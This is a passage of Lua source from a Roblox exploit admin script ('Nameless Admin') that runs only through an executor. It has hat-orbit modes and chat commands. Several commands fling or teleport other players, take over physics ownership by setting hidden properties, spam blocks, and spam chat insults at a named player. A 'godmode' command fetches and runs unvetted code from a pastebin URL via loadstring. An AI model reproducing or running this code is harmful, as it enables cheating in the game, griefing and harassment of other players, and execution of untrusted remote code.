= v else Circle2[#Circle2 + 1] = v end end function Loop () if Mode == 12 then for i = 1, #Circle1 do local angle = tick() * Speed local x = math.sin(angle + (i * 5)) * Offset local z = math.cos(angle + (i * 5)) * Offset local offset = CFrame.Angles(0, math.rad(Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x, Height, z) Circle1[i].Handle.BodyPosition.Position = TargetPos + offset end for i = 1, #Circle2 do local angle = tick() * Speed local x = math.sin(angle + (i * 5)) * Offset local z = math.cos(angle + (i * 5)) * Offset local offset = CFrame.Angles(0, math.rad(-Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x, Height + 2, z) Circle2[i].Handle.BodyPosition.Position = TargetPos + offset end wait() Loop() end end Loop() end function Mode13 () local Circle1 = {} local Circle2 = {} for i, v in pairs(Accessories) do if (#Circle1 < #Accessories / 2) then Circle1[#Circle1 + 1] = v else Circle2[#Circle2 + 1] = v end end function Loop () if Mode == 13 then for i = 1, #Circle1 do local angle = tick() * Speed local x = math.sin(angle + (i * 5)) * Offset local z = math.cos(angle + (i * 5)) * Offset local offset = CFrame.Angles(0, math.rad(Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x + Offset * 2, Height, z) Circle1[i].Handle.BodyPosition.Position = TargetPos + offset end for i = 1, #Circle2 do local angle = tick() * Speed local x = math.sin(angle + (i * 5)) * Offset local z = math.cos(angle + (i * 5)) * Offset local offset = CFrame.Angles(0, math.rad(Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x - Offset * 2, Height, z) Circle2[i].Handle.BodyPosition.Position = TargetPos + offset end wait() Loop() end end Loop() end function Mode14 () local Circle1 = {} local Circle2 = {} for i, v in pairs(Accessories) do if (#Circle1 < #Accessories / 2) then Circle1[#Circle1 + 1] = v else Circle2[#Circle2 + 1] = v end end function Loop () if Mode == 14 then for i = 1, #Circle1 do local angle = tick() * Speed local x = math.sin(angle + (i * 5)) * Offset local z = math.cos(angle + (i * 5)) * Offset local offset = CFrame.Angles(0, math.rad(Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x + Offset * 2, Height, z) Circle1[i].Handle.BodyPosition.Position = TargetPos + offset end for i = 1, #Circle2 do local angle = tick() * Speed local x = math.sin(angle + (i * 5)) * Offset local z = math.cos(angle + (i * 5)) * Offset local offset = CFrame.Angles(0, math.rad(-Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x - Offset * 2, Height, z) Circle2[i].Handle.BodyPosition.Position = TargetPos + offset end wait() Loop() end end Loop() end function Mode15() Height = -1 function Loop () if Mode == 15 then for i = 1, #Accessories do local offset = CFrame.Angles(0, math.rad(Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(0, Height, -i * Offset / 5) Accessories[i].Handle.BodyPosition.Position = TargetPos + offset end wait() Loop() end end Loop() wait() end function Mode16() local function Loop() if Mode == 16 then for i, v in pairs(Accessories) do local x = math.cos(math.random(1, 255) + (i + 1)) * Offset local z = math.sin(math.random(1, 255) + (i + 1)) * Offset local m = math.random(1, 13) if m == 1 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, Height, z) elseif m == 2 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(z, Height, x) elseif m == 3 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(-x, Height, z) elseif m == 4 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, Height, -z) elseif m == 5 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, z, z) elseif m == 6 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, x, z) elseif m == 7 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(-x, x, z) elseif m == 8 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, -x, z) elseif m == 9 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, x, -z) elseif m == 10 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(-x, z, z) elseif m == 11 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, -z, z) elseif m == 12 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, z, -z) elseif m == 13 then v.Handle.BodyPosition.Position = TargetPos + Vector3.new(z, z, z) end end end wait() Loop() end Loop() end function Mode17() local OldOffset = Offset local OldHeight = Height local Circle1 = {} local Circle2 = {} for i, v in pairs(Accessories) do if (#Circle1 < #Accessories / 2) then Circle1[#Circle1 + 1] = v else Circle2[#Circle2 + 1] = v end end function Loop () if Mode == 17 then for i = 1, #Circle1 do local angle = tick() * Speed local x = math.sin(angle + (i * #hats)) * Offset local z = math.cos(angle + (i * #hats)) * Offset Offset = math.sin(angle) * OldOffset Height = math.cos(angle) * OldHeight Circle1[i].Handle.BodyPosition.Position = TargetPos + Vector3.new(x, -Height, z) end for i = 1, #Circle2 do local angle = tick() * Speed+1 local x = math.cos(angle + (i * #hats)) * Offset local z = math.sin(angle + (i * #hats)) * Offset Offset = math.sin(angle ) * OldOffset Height = math.cos(angle) * OldHeight Circle2[i].Handle.BodyPosition.Position = TargetPos + Vector3.new(x, Height, z) end wait() Loop() end end Loop() end local connect = LC.Chatted:Connect(function(chat) local Split = chat:lower():split(" ") local C1 = Split[1] local C2 = Split[2] if C1 == ".mode" then Mode = tonumber(C2) if C2 == "1" then EditingPos = false NormalSpin = true elseif C2 == "2" then EditingPos = false NormalSpin = false Mode2() elseif C2 == "3" then EditingPos = false NormalSpin = false Mode3() elseif C2 == "4" then EditingPos = true NormalSpin = true Mode4() elseif C2 == "5" then EditingPos = false NormalSpin = false Mode5() elseif C2 == "6" then EditingPos = false NormalSpin = false Mode6() elseif C2 == "7" then EditingPos = false NormalSpin = false Mode7() elseif C2 == "8" then EditingPos = false NormalSpin = false Mode8() elseif C2 == "9" then EditingPos = false NormalSpin = false Mode9() elseif C2 == "10" then EditingPos = false NormalSpin = false Mode10() elseif C2 == "11" then EditingPos = false NormalSpin = false Mode11() elseif C2 == "12" then EditingPos = false NormalSpin = false Mode12() elseif C2 == "13" then EditingPos = false NormalSpin = false Mode13() elseif C2 == "14" then EditingPos = false NormalSpin = false Mode14() elseif C2 == "15" then EditingPos = false NormalSpin = false Mode15() elseif C2 == "16" then EditingPos = false NormalSpin = false Mode16() elseif C2 == "17" then EditingPos = false NormalSpin = false Mode17() end elseif C1 == ".offset" then Offset = tonumber(C2) elseif C1 == ".speed" then Speed = tonumber(C2) elseif C1 == ".height" then Height = tonumber(C2) elseif C1 == ".power" then Power = tonumber(C2) elseif C1 == ".orbit" then if C2 == "me" then Target = Char elseif C2 == "random" then local randomPlayer = game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())] Target = randomPlayer.Character elseif C2 == "nearest" then local minDistance = math.huge for _, player in pairs(game.Players:GetPlayers()) do if player.Character and player.Character ~= Char then local distance = (player.Character.HumanoidRootPart.Position - Char.HumanoidRootPart.Position).magnitude if distance < minDistance then minDistance = distance Target = player.Character end end end elseif C2 == "farthest" then local maxDistance = -math.huge for _, player in pairs(game.Players:GetPlayers()) do if player.Character and player.Character ~= Char then local distance = (player.Character.HumanoidRootPart.Position - Char.HumanoidRootPart.Position).magnitude if distance > maxDistance then maxDistance = distance Target = player.Character end end end else Target = findChar(C2) end elseif C1 == ".blockhats" then for i, v in pairs(Accessories) do if v.Handle:FindFirstChild("Mesh") then v.Handle:FindFirstChild("Mesh"):Remove() else v.Handle:FindFirstChild("SpecialMesh"):Remove() end end elseif C1 == ".cmds" then for i = 1, #Commands do print(Commands[i]) wait() end end end) Humanoid.Died:Connect(function() connect:Disconnect() end) Root.CFrame += Vector3.new(0, 10, 0) Root.Anchored = true for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then game:GetService("RunService").Heartbeat:connect(function() v.Velocity = Vector3.new(-30, 0, 0) v.Massless = true end) end end wait(1) Root.Anchored = false end) cmd.add({"ospeed", "orbitspeed"}, {"orbitspeed (ospeed)", "Hat orbit command"}, function(...) Speed = tonumber(...) end) cmd.add({"omode", "orbitmode"}, {"orbitmode <1-17> (omode)", "Hat orbit command"}, function(...) Mode = tonumber(...) if (...) == "1" then EditingPos = false NormalSpin = true elseif (...) == "2" then EditingPos = false NormalSpin = false Mode2() elseif (...) == "3" then EditingPos = false NormalSpin = false Mode3() elseif (...) == "4" then EditingPos = true NormalSpin = true Mode4() elseif (...) == "5" then EditingPos = false NormalSpin = false Mode5() elseif (...) == "6" then EditingPos = false NormalSpin = false Mode6() elseif (...) == "7" then EditingPos = false NormalSpin = false Mode7() elseif (...) == "8" then EditingPos = false NormalSpin = false Mode8() elseif (...) == "9" then EditingPos = false NormalSpin = false Mode9() elseif (...) == "10" then EditingPos = false NormalSpin = false Mode10() elseif (...) == "11" then EditingPos = false NormalSpin = false Mode11() elseif (...) == "12" then EditingPos = false NormalSpin = false Mode12() elseif (...) == "13" then EditingPos = false NormalSpin = false Mode13() elseif (...) == "14" then EditingPos = false NormalSpin = false Mode14() elseif (...) == "15" then EditingPos = false NormalSpin = false Mode15() elseif (...) == "16" then EditingPos = false NormalSpin = false Mode16() elseif (...) == "17" then EditingPos = false NormalSpin = false Mode17() end end) cmd.add({"orbitpower", "opower"}, {"orbitpower (opower)", "Hat orbit command"}, function(...) Power = tonumber(...) end) cmd.add({"orbitheight", "oheight"}, {"orbitheight (oheight)", "Hat orbit command"}, function(...) Height = tonumber(...) end) cmd.add({"orbitoffset", "offset"}, {"orbitoffset (offset)", "Hat orbit command"}, function(...) Offset = tonumber(...) end) cmd.add({"godmode", "god"}, {"godmode (god)", "Makes you unable to be killed"}, function() loadstring(game:HttpGet(('https://pastebin.com/raw/bbyuynM1'),true))() end) cmd.add({"commands", "cmds"}, {"commands (cmds)", "Open the command list"}, function() gui.commands() end) cmd.add({"rejoin", "rj"}, {"rejoin (rj)", "Rejoin the game"}, function() game:GetService("TeleportService"):Teleport(game.PlaceId) wait() wait(); Notify({ Description = "Rejoining..."; Title = "Nameless Admin"; Duration = 5; }); end) wrap(function() --i am so not putting an emulator as a command here end) --[ LOCALPLAYER ]-- local function respawn() character:ClearAllChildren() local newChar = Instance.new("Model", workspace) local hum = Instance.new("Humanoid", newChar) local torso = Instance.new("Part", newChar) newChar.Name = "respawn_" torso.Name = "Torso" torso.Transparency = 1 player.Character = newChar newChar:MoveTo(Vector3.new(999999, 999999, 999999)) torso.Name = "" torso.CanCollide = false end local function refresh() local cf, p = CFrame.new(), character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Head") if p then cf = p.CFrame end respawn() player.CharacterAdded:wait(1); wait(0.2); character:WaitForChild("HumanoidRootPart").CFrame = cf end local abort = 0 local function getTools(amt) if not amt then amt = 1 end local toolAmount, grabbed = 0, {} local lastCF = character.PrimaryPart.CFrame local ab = abort for i, v in pairs(localPlayer:FindFirstChildWhichIsA("Backpack"):GetChildren()) do if v:IsA("BackpackItem") then toolAmount = toolAmount + 1 end end if toolAmount >= amt then return localPlayer:FindFirstChildWhichIsA("Backpack"):GetChildren() end if not localPlayer:FindFirstChildWhichIsA("Backpack"):FindFirstChildWhichIsA("BackpackItem") then return end repeat repeat wait() until localPlayer:FindFirstChildWhichIsA("Backpack") or ab ~= abort backpack = localPlayer:FindFirstChildWhichIsA("Backpack") wrap(function() repeat wait() until backpack:FindFirstChildWhichIsA("BackpackItem") for _, tool in pairs(backpack:GetChildren()) do if #grabbed >= amt or ab ~= abort then break end if tool:IsA("BackpackItem") then tool.Parent = localPlayer table.insert(grabbed, tool) end end end) respawn() wait(.1) until #grabbed >= amt or ab ~= abort repeat wait() until localPlayer.Character and tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character == character wait(.2) repeat wait() until localPlayer:FindFirstChildWhichIsA("Backpack") or ab ~= abort local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") for _, tool in pairs(grabbed) do if tool:IsA("BackpackItem") then tool.Parent = backpack end end wrap(function() repeat wait() until character.PrimaryPart wait(.2) character:SetPrimaryPartCFrame(lastCF) end) wait(.2) return grabbed end cmd.add({"joke"}, {"joke", "Random joke generator"}, function() coroutine.wrap(function() local HttpService = game:GetService('HttpService') local check = "https://official-joke-api.appspot.com/jokes/programming/random" local final1 = game:HttpGet(check) local final = string.gsub(final1, "[%[%]]", "") local decoded = HttpService:JSONDecode(final) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(decoded.setup, 'All') wait(2) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(decoded.punchline, 'All') end)() end) cmd.add({"idiot"}, {"idiot ", "Tell someone that they are an idiot"}, function(...) local old = getChar().HumanoidRootPart.CFrame Username = (...) Players = game:GetService("Players") HRP = game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored target = getPlr(Username) getChar().HumanoidRootPart.CFrame = target.Character.Humanoid.RootPart.CFrame * CFrame.new(0, 1, 4) local message = "Hey " .. target.Name .. "" game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, 'All') wait(1) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('Sorry to tell you this, but..', 'All') wait(1) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('You are an idiot!', 'All') wait(1) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('HAHAHA!', 'All') wait(1) getChar():WaitForChild("HumanoidRootPart").CFrame = old end) cmd.add({"bringto"}, {"bringto (playertobring] [playertobringto]", "Brings a player to another player"}, function(h, d) local target1 = getPlr(h) local target2 = getPlr(d) local old = getChar().HumanoidRootPart.CFrame local tool = getBp():FindFirstChildOfClass("Tool") or getChar():FindFirstChildOfClass("Tool") -- Calculate the position of the tool grip based on the second player's character local distance = 1 local gripPosition = target2.Character.HumanoidRootPart.Position - target2.Character.HumanoidRootPart.CFrame.lookVector * distance wait(0.2) local Target = target1 local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CF until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CF wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(4) CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF -- Teleport the first player to the position next to the second player getChar().HumanoidRootPart.CFrame = CFrame.new(gripPosition) + Vector3.new(0, 3, 0) -- Tween the first player to the second player's position local tween = game:GetService("TweenService"):Create(getChar().HumanoidRootPart, TweenInfo.new(1), {CFrame = target2.Character.HumanoidRootPart.CFrame}) tween:Play() tool.AncestryChanged:Wait() if plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then --plr.Character["Right Arm"]:Destroy() game.Players.LocalPlayer.Character["Right Arm"].RightGrip:Destroy() --r6 elseif plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then --plr.Character["RightHand"]:Destroy() game.Players.LocalPlayer.Character.RightHand.RightGrip:Destroy() --r15 end wait(0.07) respawn() end) cmd.add({"accountage", "accage"}, {"accountage (accage)", "Tells the account age of a player in the server"}, function(...) Username = (...) target = getPlr(Username) teller = target.AccountAge accountage = "The account age of " .. target.Name .. " is " .. teller wait(); Notify({ Description = accountage; Title = "Nameless Admin"; Duration = 7; }); end) cmd.add({"notoolscripts", "nts"}, {"notoolscripts (nts)", "Destroy all scripts in backpack"}, function() print("test") local bp = player:FindFirstChildWhichIsA("Backpack") for _, item in pairs(bp:GetChildren()) do for _, obj in pairs(item:GetDescendants()) do if obj:IsA("LocalScript") or obj:IsA("Script") then obj.Disabled = true obj:Destroy() end end end end) cmd.add({"spblockspam", "starterblockscam"}, {"spblockspam (starterblockspam)", "Spam blocks in any game that has the starter place"}, function() anniblockspam = true end) cmd.add({"febtools"}, {"febtools", "Move parts that are your hats"}, function() --[[ NOTES: Some hats and hair won't have collison because roblox. Due to roblox physics players might get flung when touching parts. Fixed bug where hats with same name wouldn't work. AND THIS WON'T WORK IN ALL GAMES. Made by Rouxhaver ]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer if not getgenv().Network then getgenv().Network = { BaseParts = {}; FakeConnections = {}; Connections = {}; Output = { Enabled = true; Prefix = "[NETWORK] "; Send = function(Type,Output,BypassOutput) if typeof(Type) == "function" and (Type == print or Type == warn or Type == error) and typeof(Output) == "string" and (typeof(BypassOutput) == "nil" or typeof(BypassOutput) == "boolean") then if Network["Output"].Enabled == true or BypassOutput == true then Type(Network["Output"].Prefix..Output); end; elseif Network["Output"].Enabled == true then error(Network["Output"].Prefix.."Output Send Error : Invalid syntax."); end; end; }; CharacterRelative = false; } Network["Output"].Send(print,": Loading.") Network["Velocity"] = Vector3.new(14.46262424,14.46262424,14.46262424); --exactly 25.1 magnitude Network["RetainPart"] = function(Part,ReturnFakePart) --function for retaining ownership of unanchored parts assert(typeof(Part) == "Instance" and Part:IsA("BasePart") and Part:IsDescendantOf(workspace),Network["Output"].Prefix.."RetainPart Error : Invalid syntax: Arg1 (Part) must be a BasePart which is a descendant of workspace.") assert(typeof(ReturnFakePart) == "boolean" or typeof(ReturnFakePart) == "nil",Network["Output"].Prefix.."RetainPart Error : Invalid syntax: Arg2 (ReturnFakePart) must be a boolean or nil.") if not table.find(Network["BaseParts"],Part) then if Network.CharacterRelative == true then local Character = LocalPlayer.Character if Character and Character.PrimaryPart then local Distance = (Character.PrimaryPart.Position-Part.Position).Magnitude if Distance > 1000 then Network["Output"].Send(warn,"RetainPart Warning : PartOwnership not applied to BasePart "..Part:GetFullName()..", as it is more than "..gethiddenproperty(LocalPlayer,"MaximumSimulationRadius").." studs away.") return false end else Network["Output"].Send(warn,"RetainPart Warning : PartOwnership not applied to BasePart "..Part:GetFullName()..", as the LocalPlayer Character's PrimaryPart does not exist.") return false end end table.insert(Network["BaseParts"],Part) Part.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0) Network["Output"].Send(print,"PartOwnership Output : PartOwnership applied to BasePart "..Part:GetFullName()..".") if ReturnFakePart == true then return FakePart end else Network["Output"].Send(warn,"RetainPart Warning : PartOwnership not applied to BasePart "..Part:GetFullName()..", as it already active.") return false end end Network["RemovePart"] = function(Part) --function for removing ownership of unanchored part assert(typeof(Part) == "Instance" and Part:IsA("BasePart"),Network["Output"].Prefix.."RemovePart Error : Invalid syntax: Arg1 (Part) must be a BasePart.") local Index = table.find(Network["BaseParts"],Part) if Index then table.remove(Network["BaseParts"],Index) Network["Output"].Send(print,"RemovePart Output: PartOwnership removed from BasePart "..Part:GetFullName()..".") else Network["Output"].Send(warn,"RemovePart Warning : BasePart "..Part:GetFullName().." not found in BaseParts table.") end end Network["SuperStepper"] = Instance.new("BindableEvent") --make super fast event to connect to for _,Event in pairs({RunService.Stepped,RunService.Heartbeat}) do Event:Connect(function() return Network["SuperStepper"]:Fire(Network["SuperStepper"],tick()) end) end Network["PartOwnership"] = {}; Network["PartOwnership"]["PreMethodSettings"] = {}; Network["PartOwnership"]["Enabled"] = false; Network["PartOwnership"]["Enable"] = coroutine.create(function() --creating a thread for network stuff if Network["PartOwnership"]["Enabled"] == false then Network["PartOwnership"]["Enabled"] = true --do cool network stuff before doing more cool network stuff Network["PartOwnership"]["PreMethodSettings"].ReplicationFocus = LocalPlayer.ReplicationFocus LocalPlayer.ReplicationFocus = workspace Network["PartOwnership"]["PreMethodSettings"].SimulationRadius = gethiddenproperty(LocalPlayer,"SimulationRadius") Network["PartOwnership"]["Connection"] = Network["SuperStepper"].Event:Connect(function() --super fast asynchronous loop sethiddenproperty(LocalPlayer,"SimulationRadius",1/0) for _,Part in pairs(Network["BaseParts"]) do --loop through parts and do network stuff coroutine.wrap(function() if Part:IsDescendantOf(workspace) then if Network.CharacterRelative == true then local Character = LocalPlayer.Character; if Character and Character.PrimaryPart then local Distance = (Character.PrimaryPart.Position - Part.Position).Magnitude if Distance > 1000 then Network["Output"].Send(warn,"PartOwnership Warning : PartOwnership not applied to BasePart "..Part:GetFullName()..", as it is more than "..gethiddenproperty(LocalPlayer,"MaximumSimulationRadius").." studs away.") Lost = true; Network["RemovePart"](Part) end else Network["Output"].Send(warn,"PartOwnership Warning : PartOwnership not applied to BasePart "..Part:GetFullName()..", as the LocalPlayer Character's PrimaryPart does not exist.") end end Part.Velocity = Network["Velocity"]+Vector3.new(0,math.cos(tick()*10)/100,0) --keep network by sending physics packets of 30 magnitude + an everchanging addition in the y level so roblox doesnt get triggered and fuck your ownership else Network["RemovePart"](Part) end end)() end end) Network["Output"].Send(print,"PartOwnership Output : PartOwnership enabled.") else Network["Output"].Send(warn,"PartOwnership Output : PartOwnership already enabled.") end end) Network["PartOwnership"]["Disable"] = coroutine.create(function() if Network["PartOwnership"]["Connection"] then Network["PartOwnership"]["Connection"]:Disconnect() LocalPlayer.ReplicationFocus = Network["PartOwnership"]["PreMethodSettings"].ReplicationFocus sethiddenproperty(LocalPlayer,"SimulationRadius",Network["PartOwnership"]["PreMethodSettings"].SimulationRadius) Network["PartOwnership"]["PreMethodSettings"] = {} for _,Part in pairs(Network["BaseParts"]) do Network["RemovePart"](Part) end Network["PartOwnership"]["Enabled"] = false Network["Output"].Send(print,"PartOwnership Output : PartOwnership disabled.") else Network["Output"].Send(warn,"PartOwnership Output : PartOwnership already disabled.") end end) Network["Output"].Send(print,": Loaded.") end coroutine.resume(Network["PartOwnership"]["Enable"]) local lp = game.Players.LocalPlayer -- local player var local char = lp.Character -- char var lp.Character = nil -- nil character for pdeath lp.Character = char -- newvar local hrp = char:FindFirstChild("HumanoidRootPart") -- hrp check if hrp == nil then return end -- return if no hrp wait(game.Players.RespawnTime + .3) -- nil wait hrp:Destroy() -- rip hrp char.Torso:Destroy() -- rip torso local clone = char["Body Colors"]:Clone() -- body colors clone char["Body Colors"]:Destroy() -- delete any instances from char that replicates deletion clone.Parent = char -- parent back in clone in case some script uses it player = game:GetService("Players").LocalPlayer Gui = player.PlayerGui Backpack = player.Backpack Mouse = player:GetMouse() Parts_Folder = Instance.new("Folder",workspace) for i,v in pairs(player.Character:GetChildren()) do if v:IsA("Accessory") then local Part = Instance.new("Part",Parts_Folder) Part.Name = v.Name Part.Anchored = true Part.Size = v.Handle.Size - Vector3.new(0.001,0.001,0.001) Part.Position = player.Character.Head.Position + Vector3.new(math.random(-5,5),math.random(-1,1),math.random(-5,5)) Part:SetAttribute("Moveable",true) Part.Material = Enum.Material.SmoothPlastic Part.CanCollide = false Part.Color = Color3.new(1,0,0) local Hat = v.Handle local vbreak = false Network.RetainPart(Hat) Hat.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0) coroutine.wrap(function() while task.wait() do if vbreak == true then break end Hat.CFrame = Part.CFrame end end)() Hat:FindFirstChildWhichIsA("SpecialMesh"):Destroy() end end Move_Tool = Instance.new("Tool",Backpack) Rotate_Tool = Instance.new("Tool",Backpack) MHandle = Instance.new("Part",Move_Tool) RHandle = Instance.new("Part",Rotate_Tool) Mgrabs = Instance.new("Handles",Gui) Rgrabs = Instance.new("ArcHandles",Gui) Outline = Instance.new("Highlight") Move_Tool.Name = "Move" Move_Tool.CanBeDropped = false Rotate_Tool.Name = "Rotate" Rotate_Tool.CanBeDropped = false MHandle.Name = "Handle" MHandle.Transparency = 1 RHandle.Name = "Handle" RHandle.Transparency = 1 Mgrabs.Visible = false Mgrabs.Color3 = Color3.new(1, 0.8, 0) Mgrabs.Style = "Movement" Rgrabs.Visible = false Outline.FillTransparency = 1 Outline.OutlineTransparency = 0 Outline.OutlineColor = Color3.new(1, 0.8, 0) Active_Part = nil Move_Tool.AncestryChanged:Connect(function() if Move_Tool.Parent == char and Active_Part ~= nil then Mgrabs.Visible = true Mgrabs.Adornee = Active_Part end end) Move_Tool.AncestryChanged:Connect(function() if Move_Tool.Parent ~= char then Mgrabs.Visible = false Mgrabs.Adornee = nil end end) Mouse.Button1Down:Connect(function() if Move_Tool.Parent == char and Mouse.Target:GetAttribute("Moveable") then Active_Part = Mouse.Target Mgrabs.Visible = true Mgrabs.Adornee = Active_Part Outline.Parent = Active_Part end if Rotate_Tool.Parent == char and Mouse.Target:GetAttribute("Moveable") then Active_Part = Mouse.Target Rgrabs.Visible = true Rgrabs.Adornee = Active_Part Outline.Parent = Active_Part end end) Rotate_Tool.AncestryChanged:Connect(function() if Rotate_Tool.Parent == char and Active_Part ~= nil then Rgrabs.Visible = true Rgrabs.Adornee = Active_Part end end) Rotate_Tool.AncestryChanged:Connect(function() if Rotate_Tool.Parent ~= char then Rgrabs.Visible = false Rgrabs.Adornee = nil end end) MOGCFrame = CFrame.new() Mgrabs.MouseButton1Down:Connect(function() MOGCFrame = Active_Part.CFrame end) Mgrabs.MouseDrag:Connect(function(knob, pos) if knob == Enum.NormalId.Front then Active_Part.CFrame = MOGCFrame + MOGCFrame.LookVector * pos end if knob == Enum.NormalId.Back then Active_Part.CFrame = MOGCFrame + MOGCFrame.LookVector * -pos end if knob == Enum.NormalId.Top then Active_Part.CFrame = MOGCFrame + MOGCFrame.UpVector * pos end if knob == Enum.NormalId.Bottom then Active_Part.CFrame = MOGCFrame + MOGCFrame.UpVector * -pos end if knob == Enum.NormalId.Left then Active_Part.CFrame = MOGCFrame + MOGCFrame.RightVector * -pos end if knob == Enum.NormalId.Right then Active_Part.CFrame = MOGCFrame + MOGCFrame.RightVector * pos end end) ROGCFrame = CFrame.new() Rgrabs.MouseButton1Down:Connect(function() ROGCFrame = Active_Part.CFrame end) Rgrabs.MouseDrag:Connect(function(knob, angle) if knob == Enum.Axis.Y then Active_Part.CFrame = ROGCFrame * CFrame.Angles(0,angle,0) end if knob == Enum.Axis.X then Active_Part.CFrame = ROGCFrame * CFrame.Angles(angle,0,0) end if knob == Enum.Axis.Z then Active_Part.CFrame = ROGCFrame * CFrame.Angles(0,0,angle) end end) Mouse.TargetFilter = player.Character camera = workspace.CurrentCamera input = game:GetService("UserInputService") Camera_Part = Instance.new("Part",workspace) Camera_Part.Anchored = true Camera_Part.Transparency = 0.85 Camera_Part.Shape = Enum.PartType.Ball Camera_Part.Size = Vector3.new(0.5,0.5,0.5) Camera_Part.Material = Enum.Material.SmoothPlastic current_position = char.Head.Position camera.CameraSubject = Camera_Part for i,v in pairs(char:GetDescendants()) do if v:IsA("BasePart") and v.Parent:IsA("Accessory") == false then v:Destroy() end end game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "FE BTools Loaded", Text = "Made by rouxhaver", Icon = "rbxassetid://12561999923" }) game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Network Credit:", Text = "thanks to 4eyes for network stuff", Icon = "rbxassetid://12562053596" }) while wait() do if vbreak == true then break end if input:IsKeyDown(Enum.KeyCode.D) then current_position += camera.CFrame.RightVector * speed end if input:IsKeyDown(Enum.KeyCode.A) then current_position += camera.CFrame.RightVector * -speed end if input:IsKeyDown(Enum.KeyCode.W) then current_position += camera.CFrame.LookVector * speed end if input:IsKeyDown(Enum.KeyCode.S) then current_position += camera.CFrame.LookVector * -speed end if input:IsKeyDown(Enum.KeyCode.E) then current_position += camera.CFrame.UpVector * speed end if input:IsKeyDown(Enum.KeyCode.Q) then current_position += camera.CFrame.UpVector * -speed end if input:IsKeyDown(Enum.KeyCode.LeftShift) then do speed = 1.5 end else speed = 0.75 end Camera_Part.Position = current_position end end) cmd.add({"unspblockspam", "unstarterblockscam"}, {"unspblockspam (unstarterblockspam)", "Stops the starterblockspam command"}, function() anniblockspam = false end) cmd.add({"blockspam"}, {"blockspam [amount]", "Spawn blocks by the given amount"}, function(amt) amt = tonumber(amt) or 1 local hatAmount, grabbed = 0, {} local lastCF = character.PrimaryPart.CFrame character:ClearAllChildren() respawn() repeat if character.Name ~= "respawn_" then local c = character repeat wait() until c:FindFirstChildWhichIsA("Accoutrement") c:MoveTo(lastCF.p) wait(1) for i, v in pairs(c:GetChildren()) do if v:IsA("Accoutrement") then v:WaitForChild("Handle") v.Handle.CanCollide = true if v:FindFirstChildWhichIsA("DataModelMesh", true) then v:FindFirstChildWhichIsA("DataModelMesh", true):Destroy() end v.Parent = workspace table.insert(grabbed, v) end end hatAmount = 